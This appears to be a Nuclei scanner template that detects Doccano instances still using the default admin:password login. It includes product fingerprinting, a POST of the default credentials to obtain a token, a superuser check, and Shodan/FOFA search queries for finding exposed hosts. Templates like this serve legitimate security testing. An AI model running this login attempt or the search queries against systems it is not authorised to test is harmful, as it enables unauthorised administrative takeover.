Description
Detected the Doccano data labeling platform was using default administrator credentials (admin:password). An attacker could have gained full administrative access.
Detected the Doccano data labeling platform was using default administrator credentials (admin:password). An attacker could have gained full administrative access.
id: doccano-default-login
info:
name: Doccano - Default Login
author: 0x_Akoko
severity: high
description: |
Detected the Doccano data labeling platform was using default administrator credentials (admin:password). An attacker could have gained full administrative access.
reference:
- https://github.com/doccano/doccano
- https://doccano.github.io/doccano/
metadata:
verified: true
max-request: 3
vendor: doccano
product: doccano
shodan-query: http.title:"doccano"
fofa-query: title="doccano"
tags: doccano,default-login,vuln
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
GET /auth HTTP/1.1
Host: {{Hostname}}
Accept: text/html
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "doccano", "/_nuxt/")'
condition: and
internal: true
- raw:
- |
POST /v1/auth-token HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Accept: application/json
{"username":"admin","password":"password"}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains(body, "token")'
condition: and
internal: true
extractors:
- type: json
name: token
part: body
json:
- '.token'
internal: true
- raw:
- |
GET /v1/me HTTP/1.1
Host: {{Hostname}}
Authorization: Token {{token}}
Accept: application/json
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains_all(body, "\"username\"", "\"is_superuser\"", "admin")'
condition: and
# digest: 4a0a0047304502200f9e1b5af1b737a273023389e1c8a8ce870ffed366b9cd23db7375289984d74f022100db374c36c00160f3e50215faa7c6f8961a3baaf3fdfa5a3bc04867c182b59967:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.